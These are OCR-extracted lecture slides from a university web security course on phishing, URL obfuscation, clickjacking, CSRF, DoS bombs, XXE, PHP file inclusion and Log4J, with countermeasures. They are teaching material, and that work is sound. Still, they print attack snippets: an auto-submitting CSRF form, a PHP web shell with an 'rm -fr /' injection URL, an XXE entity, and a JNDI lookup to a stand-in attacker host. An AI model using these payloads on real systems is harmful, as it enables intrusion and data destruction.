Today:

More attacks on clients, esp. the user

URL obfuscation,
Click-jacking/Ul redressing,
CSREF revisited



Securing the last 30 centimeter...

1000s of miles

>

We can secure connections between computers 1000s of miles apart,
eg using TLS,

but the remaining 30 cm between user and laptop remain a problem

Beware: blaming the ‘dumb user’ is victim blaming.

We should blame computer scientists & software engineers for
making poor solutions

websec



Securing the last 30 centimeter...

1000s of miles

>

We can secure connections between computers 1000s of miles apart,
eg using TLS,

but the remaining 30 cm between user and laptop remain a problem

Beware: blaming the ‘dumb user’ is usually unfair victim blaming.

We should blame computer scientists & engineers for making poor
solutions

websec



Different classes of attacks

Phishing SQLi,
Clickjacking path traversal,
'\le| redressing XSS
browser >
<€ web server
(or app)

1

3rd party >
online API

Can you trust
what you see
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Last week:
Attacker model - malicious content on benign site

bank.com/ x Ba Gmail

é ) —> G) bank.com
Does
SOP
help?

Such malicious content can be
1. 3" party iframe
(intentionally included, separated with SOP)
2. user-provided content
(e.g. Instagram post; same-origin, so SOP offers no protection)
3. special case of 2: HTML-injection or XSS
(same-origin, so SOP offers no protection)



Today:
Attacker model 1 - malicious website

bank.com/ >

‘ e ) - G) bank.com

Malicious site could phish for logins & passwords.

It could also include malicious links to the attacked website,
eg for CSRF attacks



Today:
Attacker model 2 - malicious site with benign iframe

bank.com/ >

‘ e ) - G) bank.com

Does SOP help here?
Yes, SOP protects against malicious site from observing or messing

with trusted content — and vice versa
* but, as we will see, user can still be misled



Would you trust these URLs?

* https://www.paypal.com:get request%2Eupdate&id=234782&

Recall that a URL can have the form
https://username:password@www.domain.nl/.. ..

So what is the domain we are accessing?

* https://www.paypal.com
How do you know that the first p is not a Cyrillic character?

Browser bugs may offer more opportunities to confuse users.

Eg a bug in Internet Explorer displayed URLs with a null character,
such as http://paypal.com%00@mafia. com, incorrectly...

websec



Browser warnings — about strange character sets

o~ Possible IDN Spoofing Dectected!
The URL on your location field is shown as:
http:/ /www.paypal.com/
Though the real (spoofing) URL {may look like the

same) is:
http:/ /www.xn--paypl-7ve.com/

( Tell Me More ) (——6!(‘-9

Punycode encoding of unusual characters

websec



Highlighting domain name in the address bar

File Edit View History Bookmarks Tools ﬂelp

¥ ABN AMRO Bank - Uw bankzal X = +

ww.abnamro.nl/nl/§rive/index.html

Alternative: show the organisation name from the certificate

< QO 8 httpsy//

websec 11



Summary: URL obfuscation attacks

Attacker tries to confuse the user (in e.g. phishing attack) by

* including a username before the domain name
https://www.visa:com@%$32%32%30%2E%36%38%2E%32%31%34%2E. ..
which translates to the IP address 220.68.214.213

« using strange Unicode characters in a homograph attacks
https://paypal.com with a Cyrillic p

Countermeasures:

1. Punycode: encode Unicode as ASCII to reveal funny characters
www.xn-pypal-4ve.com

2. Domain highlighting: show which part of URL is the domain name
3. Using password manager in browser?
which would not fill in the password for the phishing site

websec 12



Newer homograph attack [2017, still works in some browsers?]

Some browsers display https://xn--80ak6aa%2e.com
as apple.com

Hey there! X I+ Hey there! X  +

©® & https//www.xn--80ak6aa92e.com € 0 A& hitps//www.apple.com

& www.xn--80ak6aa92e.com & www.apple.com

Secure Connection Secure Connection

Problem:

browser only uses puny encoding if URL mixes several characters selts
not if a// characters are from one - unusual- character set

See https://www.xudongz.com/blog/2017/idn-phishing/
For you to do: check if this attack works in the browser(s) you use.

websec


https://www.xudongz.com/blog/2017/idn-phishing/
https://www.xudongz.com/blog/2017/idn-phishing/
https://www.xudongz.com/blog/2017/idn-phishing/

Ul confusion on mobile phones

1953 MEBEOM™ - O 4 E62%
@& https://www.hsbc.com :
’ seventn-largest bank! Ot
Y course, the page you're

reading isn't actually hosted on hsbc. com; it's
hosted on jameshfisher.com. But when you

vieit thic cita nn Chrama far mnhila and en~rnll

[2019]

Chrome on mobile phone hides the URL bar when you scroll down.
Attacker can abuse this feature to display a fake URL bar.

See https:/ljameshfisher.com/2019/04/27/the-inception-bar-a-new-phishing-method/
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Ul confusion on desktops [2019]

0O Facebook

https://www.facebook.com/login.php?skip_api_login=18&api_key=1950..,

Is this pop-up window legit?

The URL is a https-link
to facebook.com;

clicking the lock shows a

valid certificate

I!:::IH' Cancel

No, this is not a pop-up window displayed by your browser,
but a fake pop-up rendered inside a malicious webpage

How can you tell?

You can move this ‘pop-up window’ inside the webpage window
but you cannot drag it outside of the browser window

See https:/lyoutu.be/ng1gnv¥YC144
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https://youtu.be/nq1gnvYC144

Other ways to obtain passwords

stealing password file after a data breach

This contains password hashes (hopefully), not plaintext passwords,
but these can be brute forced

or simply buying username/passwords from a criminal

dictionary attack
Try common passwords
password spraying
Try one password across many accounts
to prevent detection & lockout
credential stuffing
Try one username/password combination across many systems
to prevent detection

16



Phishing overtook
exploit-based
malware in 2016

Source: Safe Browsing (Google Transparency Report)
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[Slide by Christiaan Brand, BlackHat 2019; data from Google Transparency Report]
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Criminal business models: selling user profiles

@ Qenesis = @ $ &
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Genesis market & Operation Cookie monster

Genesis market sold user profiles not only usernames & passwords,
but also session cookies and
browser & device fingerprints (why?)

Taken down in 2024 S

OPERATION COOKIE MONSTER

enesis Market’s domains have been seized by the FBI pursuant to a seizure warrant

issued by the United State: trict Court for tZ\e Eastern District of Wisconsin. These

seizures were possible be e of international law enforcement and private sector
coordination involving the partners listed below.

o

To determine if you have been victimized, visit:
haveibeenpwned.com or politie.nl/checkyourhack

Been active on Genesis Market? In contact with Genesis Market administrators?
Email us, we're interested: FBIMW-Genesis@fbi.gov

OPERATION

COOKIE:«viONSTER

SHORT-DOCUMENTARY

o @ e @ O I

The story behind the i { ime i ligation - Operation Cookie Monster (English)

e 67 9 Aem A -

https:/Iwww.troyhunt.com/seized-genesis-market-data-is-now-searchable-in-have-i-been-
pwned-courtesy-of-the-fbi-and-operation-cookie-monster/
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Multi-Factor Authentication (MFA, aka 2FA)

Additional One Time Password (OTP) time-based OTP
OTP via SMS
OTP via push notification

1. username

password
>

3&; < > web server

2. OTP via SMS or push notification

or: 2. app generating Can this be phished?
time-based OTP

20



Phishable MFA ®

1 , genuine
. username 1’. username web server
passworg password

. OTP //

2. OTP via SMS or push notification

or: 2. app generating
time-based OTP

A phishing website can simply relay username & password,
wait for user to provide OTP,
and then relay that ...

21



Phishing proxy software

Eg EvilGinx, Muraena, Modlishka, ...

booking
github
paypal
protonma
twitter
outlook

onelogin

loading phishlets from: ./phishlets/

loading configuration from: /root/.evilginx

blacklist mode set to: off

redirect parameter set to: yb

verification parameter set to:

verification token set to: 783e

unauthorized request redirection URL set to: https://www.youtube.com/watch?v=dQw4woWgXcQ
blacklist: loaded @ ip addresses or ip masks

server domain not set! type: config domain <domain>

server ip not set! type: config ip <ip_address>

thor active status hostname

@customsync
@charlesbel
@mrgretzky
@AR@NUD4Y
@white_fi
Gmeitar
GANGNUD4Y
@Anonymous
@audibleblink
@An@nuday
@jamescullum
Gwhite_fi
emrgretzky
Gcustomsync
©424F424F
@An@nuday
@charlesbel
@jamescullum
emikesiegel
@perfectlylog. ..

(111}
evilginx

h s the

muc!

dist/proxy -config templates/g

hogle
@NEI Enabling plugin: autocert
INFY Enabling plugin: control
i INEY control Panel: Collecting
,"(I"\W]+)"]] regex and passwords with [\bnull,\["([a-zA
{|}~=14)",null\b] regex
Enabling plugin: template

ve.1

panel vo.1
usernames with [true\
20-9" 1" #$%&" () *+, -/

ve.1

Control Panel: SayHello2Modlishka handler regis

Panel URL: /SayHello2Modlishka

hka" Piotr adrklwi rse Proxy s

istening on:
roxying [loopb

tarted <<<<
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Countermeasure 1 — extra location check in app

16:16 o0 cz il @+ ¥ 4 E50%

App for entering push notification
shows client

® Are you trying to sign in? )
& location of the user

NymaCon

erik.poll_ru.nl#EXT#@nymacon.onmicrosoft |f thlS ShOWS wrong |Ocati0n or

.com

App different client victim can spot
. icrosoft Teams Web Clier an attack
Location

Gelderland, Netherlands

\

LENT

lingen

\ 00ij
P
Google am N325
[ A73 9 GOFFERT [§105
ater the number shown to_sigrin.

Enter number here
YES

23
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Countermeasure 2 https//:bank.com

genuine

site
1’. username
password /
3.0TP 3’ OTP /
Q https//:bank.cOm

1. username
password
>

Scripts in the site that is cloned could check the domain name and
 warn user, and/or
« report back to the bank that the site is cloned

This could be defeated, but that’s more work for the attacker
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Phishing-resistant MFA

FIDO2 token or Passkey

1. username

passwor;:l 1.

—>
2. OTP request

web server

>

3. 0TP

Key idea: token authenticates that it is talking with the real website

25



Click-jacking & Ul redressing

Ul = User Interface
aka

UX = User Experience

HMI = Human-Machine Interface

26



Click-jacking & Ul redressing

These attacks try to confuse the user into unintentionally doing
something, such as

— clicking some link — aka click-jacking
— providing text input to some field

If this involves re-using components of the targeted website, this is
called Ul re-dressing

The simplest forms of click-jacking are just CSRF

Beware: terminology can be messy in discussions of these attacks

27



Basic click-jacking

Make the victim unintentionally click on some link
<a onMouseUp=window.open ("http://mafia.oxrg/")
href="http://www.police.nl">Trust me, it is safe to
click here, you will simply go to police.nl</a>

See demo
http:/lwww.cs.ru.nl/~erikpoll/websec/demol/clickjack_basic.html

Why would attacker want to do this?

 Some unwanted side-effect of clicking the link

Especially if user is automatically authenticated by the target
website (thanks to cookie), ie. CSRF

 Click fraud

28



Example clickjacking attack:
with age confirmation check

-

© BRIGHTSIDE

S3.AMAZONAWS.COM
Votre vie avant et aprés le mariage, en images

Pour accéder a ce site, vous devez étre
age de 16 ans ou plus.

Avez-vous plus de 16 ans?

29



Example clickjacking attack

Inspecting HTML source to see what you are actually clicking
class="popup-copy">
<h4>Pour accéder a ce site, vous devez étre agé de 16 ans ou
plus.</h4>

<h4>Avez-vous plus de 16 ans?</h4>

< type="submit" name="submit" class="btn
btn-newsletter" onclick="top.location.href

https://s3.amazonaws.com/q93tz5838rkh7kgmnéborad/
s730al5Vxa9Uejre.html'">0ui.</ >
< class="d8485i63ikjasdiu73h" id="
d8485i63ikjasdiu73h" onload="" scrolling="no" src="
https://pejzbugpedau.s3.amazonaws.com/iframe.html"></

Inspecting contents of these Amazon S3 buckets leads to

https://mobile.facebook.com/v2.6/dialog/share?app_id=283197842324324
&locale=en_US&mobile_iframe=1

Clicking age confirmation shares a post on Facebook.
Such clickjacking can get the attacker many likes or shares!
So this clickjacking attack is just (obfuscated) CSRF

30



Business model for click jacking: click fraud

Web sites that publish ads are paid for the number of click-
throughs (ie, number of visitors that click on these ads)

Click fraud: attacker tries to generate lots of clicks on ads,
that are not from genuinely interested visitors

Motivations for attacker
1. generate revenue for web site hosting the ad
2. generate lots of likes on YouTube, Insta,...

31



Other forms of click fraud - apart from tricking people:

« Click farms
hiring people to manually click ads

 Click bots

running software to automate clicking,
often hijacked computers in botnet,

WELCOME T0... /4
Ry BLiH MO,

DON'T HAVE TO!!!

32



Criminal business models: YouTube views

generate & sell views, likes, ... for websites that ranks results
based on views, likes, ...

Buy YouTube Services

) W @ G (@

YouTube Views YouTube Likes YouTube Comments YouTube Subscribers YouTube Favorites

YouTube Views

Type o GEO Targeted
Choose the country of origin.
International Views B s < Y £
o Retention Views
Quantity Rank higher with 80 - 100% watch rate.
o Real Views
ws = $3.88
1000 Vigws = 33,55 E] Views come from humans.
Delivery Speed o High Volume
Purchase up to 1 million views at once,
Slow (1,000 to 2,000 Views per Day) E

o Partner Safe
Youtube Video URL 100% safe for your account.

Note to Seller
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Criminal business models: YouTube likes

Buy YouTube Services

> - ® ini ¥

YouTube Views YouTube Likes YouTube Comments YouTube Subscribers YouTube Favorites

YouTube Likes

Quantity o Real likes
‘ Likes are from real people
50 Likes = $5.44 [=]| . gy
. o Quality
A ke = 35 44 Likes are unique
100 Likes = $9.84 (10% OFF) qUe:
250 Likes = $23 44 (15% OFF) o High Volume
500 Likes = $43.44 (20% OFF) Purchase up to 5,000 likes at once.
1,000 Likes = $76.44 (30% OFF) f
2 500 Likes = $164 (40% OFF) o Partner Safe
| 5,000 Likes = $273 (50% OFF) ‘ No risk to your account.

websec



Ul redressing

Attacker creates a malicious web page that includes elements of
a target website, esp. links victims can click.

« With iframe (inline frame) with content from attacked website
— iframes allow flexible nesting, cropping, and overlapping

Two approaches

w5 Like

1. “steal” a button with non-specific text

2. make a iframe transparent

35



Old Ul redressing example

Tricking users into altering security settings of Flash
Load Adobe Flash player settings into an invisible iframe
Click will give permission for any Flash animation to use the

computer's microphone and camera

-

3

&2 Claim your free IPad

|2 P+ X

Congratulations, you have won a
free IPad, click below to claim your

free gift!

Adobe Flash Playar Settings
Camera and Microp hone Access 7Y

[website] is requesting access to your
camera and microphone. If you click Allow,
wou may be recorded.

Bl @ Aw |[&  Deny

R100% ~
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Ul redressing example

Trick users into confirming a financial transaction

Confirm funds transfer

Transfer from Checking
Iransfer to 08167175
i ransfer amount $5,000.00

Confirm

”~

o -

'@ Claimyour free Pad  » |

,oo-)x‘ f

oll@lx

Congratulations, you have won a
free IPad, click below to claim your
free gift!!

*.100%
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Ul redressing example

Trick users to login to a banking website

Fake input controls positioned
under the hijacked web controls

User provides username and password.
All these clicks are hijacked by the invisible frame.
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Click-jacking and Ul redressing: abusing trust

 These attacks abuse trust users have in a webpage
— in what they see in their browser

« These attacks also abuse trust a web server has in the browser:

the web server trusts that all actions from the browser are
performed willingly & intentionally by the user

« Some browser will prevent users from interacting with
transparent content
Check if your browser does at

http://Iwww.cs.ru.nl/~erikpoll/websec/demol/clickjack some button.html
http:/Iwww.cs.ru.nl/~erikpoll/websec/demol/clickjack some button transparent.html

39


http://www.cs.ru.nl/~erikpoll/websec/demo/clickjack_some_button.html
http://www.cs.ru.nl/~erikpoll/websec/demo/clickjack_some_button_transparent.html

Countermeasures against
Ul redressing

40



Frame busting

Countermeasure to prevent being included as iframe:
webpage tries to bust any frames it is included in

Example JavaScript code for frame busting
if (top!=self) {
top.location.href = self.location.href
}
* topis the top (or outer) window in the DOM;
self is the current frame
« |f an iframe executes this code, it will make itself the top window.
* Forademo, see
https://Iwww.cs.ru.nl/~erikpoll/websec/demo/framebusting1.html
which includes a frame-busting iframe
https://lwww.cs.ru.nl/~erikpoll/websec/demol/framebuster.htmi

Lots of variations possible, some more robust than others



Busting frame busting

Recall HTML sandboxing of iframes (discussed 2 weeks ago):
This allows attacker to restrict capabilities of a victim iframe
* eg. iframe be disallowed to change top.location

This can block framebusting scripts

Example HTML code for this:
<iframe sandbox="allow-scripts allow-forms"
src="facebook.html"> </iframe>

— allow-scripts: allow scripts

— allow-forms: allow forms
— thereis no allow-top-navigation, so the iframe is not allowed
to change of top.location

Attacker could also disallow script, to prevent framebusting scripts
from running at all, but this would break more functionality.

For a demo, see
https://www.cs.ru.nl/~erikpoll/websec/demo/framebusting2.html
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Better solution: X-Frame options @ @0 @ @

X-Frame-Options in HTTP response header introduced to indicate
if webpage can be loaded as iframe

Possible values
DENY never allowed

SAMEORIGIN only allowed if other page has same origin
ALLOW-FROM <url> only allowed for specific URL (Only @ @)

Simpler than using JavaScript for frame busting,
and cannot be disabled with HTML sandboxing

CSP (Content Server Policy) also provides ways to do this,

but given the complexity of CSP, many sites continue to use
X-Frame-Options
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Browser protection against Ul redressing

Firefox extension NoScript has a ClearClick option,

that warns the user when clicking or typing on hidden elements

How this works:

Activated when user clicks on
object in an iframe

Comparison made between
screenshots of

a) the web page
b) the web page with any

opaqueness/transparency
in iframe turned off

If screenshots differ, user is warned
and screenshot is shown so user can
evaluate it themselves

ClearClick Wamning

S5

®

Potential Clickjacking / UI Redressing Attempt!

MoScript intercepted a mouse or keyboard interaction with a
partially hidden element. Click on the image below to cycle

between the obstructed and the clear version.

Deze site gebruikt cookies. Informatie over cookies | Cookdes toestd

Radboud Universiteit Nijmeg¢

http:/ fwww.ru.nly

Keep this elernent locked (recommended)

ClearClick protection on pages... untrusted trusted

Ok l ’ Beport ] ’ More Info
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CSREF revisited
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Recall : CSRF abuses cookies without stealing them

Attacker sets up malicious website mafia.com with link to bank.com

<a href=“https://bank.com/transferMoney?amount=1000
&§toAccount=52.12.57.762">

If victim visits mafia.com and click this link,
then if they are logged in to the back,
this request will be sent with the victim’s cookies for bank.com

websec 46



CSRF on GET vs POST requests

Action on the targeted website might need a POST or GET request
 Recall: GET parameters in URL, POST parameters in body

* For action with a GET request:
Easy!
Attacker can even use an image tag <img. .> to execute request
<img scr=“http://bank.com/transfer?amount=1000
&toAccount=52.12.57.762">

* For action with a POST request:
Trickier!
This cannot be done with a simple link.

Instead, attacker can use JavaScript on their own website to make
a form which will results in a POST request to the target website



CSRF of a POST request using JavaScript

If bank.com uses
<form action="transfer.php” method="POST”>
To: <input type="text” name="to”/>
Amount: <input type="text” name="amount”/>
<input type="submit” value="Submit”/>
</form>

attacker could use

<form action="http://bank.com/transfer.php” method="POST"”>
<input type="hidden” name="to” wvalue="52.12.57.762"/>
<input type="hidden” name="amount” wvalue=”1000" />
<input type="submit”/>

</form>

<script> document.forms[0] .submit(); </script>

Note: no need for victims to click anything!
The JavaScript code clicks it for them
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CSRF

* Ingredients

— malicious link or JavaScript on attacker’s website

— automatic authentication by a cookie at targeted website
 Requirements

— the victim must have a valid cookie for the attacked website

— that site must have actions which only require a single HTTP
request

« This could be used for click-jacking, except

 itdoes notinvolve Ul redressing
« if JavaScript is used, maybe there is no click
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Which countermeasures against CSRF

also help against Ul-redressing?
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N =

ook

Recall: Countermeasures against CSRF [week 2 & 3]

Let client re-authenticate before important actions
Keep sessions short
Anti-CSRF token [aka Tokenization]

— an unpredictable CSRF token as hidden parameter in requests
that changes every time

Looking at the Referer or Origin headers
Setting sameSite flag for cookies

Check sec-Fetch-Site header to spot cross site requests server-
side

Which of these help against Ul redressing?

1&2 obviously help

3 does not help: if mafia.com webpage loads ‘fresh’ iframes from
bank . com, links inside those iframes probably have valid tokens.

4-6 help, but what counts as same site for SameSite or cross-origin for
Sec-Fetch-Site gets confusing! See example on next slide.
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CSRF vs Ul redressing: defenses

CSREF attack: suppose a webpage from mafia.com (or HTML email sent by mafia)
includes a link to bank.com

<html> ...
<img scr="http://bank.com/transfer?amount=1000 &toAccount=52.12.57.76"></img>
</html>

Do SameSite, Sec-Fetch-Site and anti-CSRF tokens help?

 |If bank cookies are declared as sameSite, browser will not attach these
cookies if link is clicked
* Also, browser will mark this request as cross-origin with Sec-Fetch-Site

« If bank includes anti-CSRF tokens in links, e.g. the link should be
http://bank.com/transfer?amount=1000 &toAccount=52.12.57.76&token=097123571
the mafia people have no way of predicting a valid value for that token

So all these defences help against this CSRF attack.

(Btw, it is unlikely that a bank transfer could be done with a simple GET request.)
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CSRF vs Ul redressing: defenses

Ul redressing: suppose a webpage from mafia.com includes iframe from bank.com
<html> ...
<iframe src=http://bank.com/somepage.html?param=...></iframe>
</html>

Do SameSite, Sec-Fetch-Site and anti-CSRF tokens help?

For the request to retrieve this iframe:

 if bank cookies are declared as SameSite, browser will not attach these
cookies to that request

* Also, the browser will mark this request cross-origin as Sec-Fetch-Site

Suppose that there are links inside the iframe, i.e. inside somepage.html

 These links may have a valid value for the anti-CSRF token

 If user click these links, the browser will not attach samesSite cookies and
declare the request as cross-origin with Sec-Fetch-Site.
This may seem counterintuitive, as the iframe comes from bank . com, but the
domain of the webpage, here mafia.com, not the domain of the /frame,
determines how the browser deals with SameSite and Sec-Fetch-Site
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More attacks
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£ owAsP

Open Web Application
Security Project

OWASP Application Security Verification Standard 4.0.2

The OWASP Application Security Verification Standard (ASVS) Project provides ’
a basis for testing web application technical security controls and also \ /

provides developers with a list of requirements for secure development.

Applicability Building B”'H;‘“iu?::c'g:ﬁ'sg‘m:&\mm Assurance and Verification

Standards and Secure & Peer Unit and Penetration
m - -

el Standards and Secure & Peer Unit and

Level 2 Al apps Architecture and Secure Coding o ok ot Bavine DevSecOps e uboni Teste Hybrid Reviews SAST
Reviews
Secuty Standards and Secure & Peer Unit and

Level 3 High Assurance Architecture and Secure Coding fists c Revi DevSecOps Inte ion Teats Hybrid Reviews SAST
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=
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OWASP
Open Web Application
Security Project

OWASP Top10 & ASVS

There are more attacks than we discussed, but usually variations on the
same theme (notably some form of injection)

OWASP produces a well-known OWASP Top 10 of web applications
security vulnerabilities

Knowing OWASP Top 10 helps develop more secure applications
But better, more structural approach to produce secure web
applications: OWASP ASVS (Application Security Verification Standard)

For Dutch speakers & Dutch government agencies, CIP-overheid.nl provides
similar standards for ‘Grip op SSD (Secure Software Development)’

CIP centrum informatiebeveiliging
“ en privacybescherming
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DoS

(Denial of Service)
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Example browser bug: client-side DoS vulnerability

0 i

C | @ mrdoob.com/lab/javascript/effects/ie6/resubmit A

Ir
ke

.7, e =
Himmmm | I e

Internet Explorer
e .
| | Internet Explorer

Internet Explorer has encountered a problem and needs
to close. We are somry for the inconvenience.

|F pau were in the middle of something, the information vou were working on
rnight be last,

Please tell Microsoft about thiz problem.

We have created an ermor report that you can send to help us improve
Intermet Explorer. e will breat thiz report as confidential and anonymoos.

To zee what data thiz enor report containg, click here

Send Ermor Report | Dan't Send I
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Example browser bug

<HTML><BODY>
<img src="a.]jpg” width =7999999999”

height="999999999”></img>
</BODY><HTML>
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Example browser bug: Internet Explorer image crash

Image with huge size used to crash Internet Explorer and freeze the
whole Windows machine

Malicious payload

<HTML><BODY>
<img src="a.]jpg” width =7999999999”

height="999999999”></img>
</BODY><HTML>

Such a payload is easy to enter in a Brightspace forum...
It abuses the basic rendering process in the browser



ZIP bomb

« Web servers may accept zipped input, and unzip this

* This allows DoS attacks using ZIP bombs, aka the Zip of Death:
— a 42 Kb Zip file can unzip to > 4 Gb

[See http://www.unforgettable.dk for examples]
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XML bomb

« XML files can also cause Denial-of-Service:
— There can be recursive references inside an XML document

— XML parsers often unfold such references, to turn the document
to its canonical form

— Files can explode in size: a 1Kb XML file can become > 3GB

« Aka Billion Laughs Attack, as the original XML bomb replicated
the string LOL

[See https://msdn.microsoft.com/en-us/magazine/ee335713.aspx]
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XXE

XML processing can be abused in other ways,
incl. with XXE (XML External Entities) attacks

<?xml version="1.0" encoding="UTF-8"7?>
<IDOCTYPE attack [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM ™file:///[dev/lurandom" >]>
<foo>&xxe;</foo>

This should remind you of a path traversal
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Remote File Inclusion (RFl) in old PHP applications

The PHP code below uses an option parameter in the URL
$dir = $§ GET['option']

include ($dir . ”/function.php”)
This option could for instance be selected from a drop-down menu;
if user chooses e.g. start the server executes start/function.php

Security worries, beyond normal path traversal?
 What if user supplies option “http://mafia.com” ?
 The server will execute http://mafia.com/function.php

This allows attackers to inject their own code on the server,
ie. Remote Code Execution (RCE)

Of course, PHP servers should be configured to disallow this!
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Remote File Inclusion in PHP

Sample malicious PHP code to include in
http://mafia.com/function.php

is
system($ GET['cmd'])

What will be the effect of the attackers accessing the url
victim.php?option=http://mafia.com
&cmd=/bin/rm%$20-£r%20/

OS command injection
/bin/rm —-fr / to recursively delete all files on file system

via PHP remote file inclusion!

websec
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Local vs remote file inclusion in PHP

Can we still get RCE on a server that disallows remote file inclusion?
$dir = $ GET['option']
include ($dir . “/function.php”)

We can try path traversal and Local File Inclusion (LFI) to execute

1. anyfile called function.php on the server

eg ../admin/function.php

2. any file on the server, using null byte %300 trick

eg ../admin/admin panel.php%00 as option will execute
$dir/../admin/admin panel.php%00function.php

3. upload our own PHP code, say a profile picture, and execute that to
wexecute our own code again!

RFI vs LFI is like classic buffer overflow vs return-to-libc attacks
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Yet another server-side injection attack

Log4J
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Log4dJ attack via an iPhone

OrgName: Apple Inc.
Orgld: APPLEC-1-Z
Address: 20480 Stevens Creek Blvd., City Center Bldg 3
Name ${jndi:ldap://f 7% ..dnslog.cn/a} City: Cupertino
StateProv: CA
Software Version 58] PoctalCodes 050814
Country: us
Model Name iPhone 12 RegDate: 2609-12-14
Updated: 2017-087-08
Model Number Ref: https://rdap.arin.net/registry/entity/APPLEC-1-Z
Serial Number
DNS Query Record IP Address Created Time
.dnslog.cn 17.123.16.44 2021-12-11 00:12:00
.dnslog.cn 17.140.110.15 2021-12-11 00:12:00

Cas van Cooten, @chvancooten, https://twitter.com/chvancooten/status/1469340927923826691
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Log4J attack via a Tesla

7 Created Time
|p Addres: 0P 12-10 20:12:37{

DNS Query Record 61.50.246.84

https://github.com/YfryTchsGD/Log4jAttackSurface
https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test
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Log4dJ: JDNI injection via LDAP in Java

JDNI = Java Naming and Directory Interface

Directory service that given a name (string), say a user ID, retrieves
the associated Java object.

Log4J uses JDNI to look up info to print in logs.

The Log4dJ attack:

1. Attackers provides some user input to a web application that is a
JDNI lookup pointing to their own server
${jndi:ldap://mafia.com/ref}

2. If that user inputis logged, Log4j will retrieve the corresponding
object from the attacker’s server mafia.com

3. This then triggers execution of a class controlled by the attacker

— Alternatively, the attacker could trigger execution of code that is hosted
on the victim server
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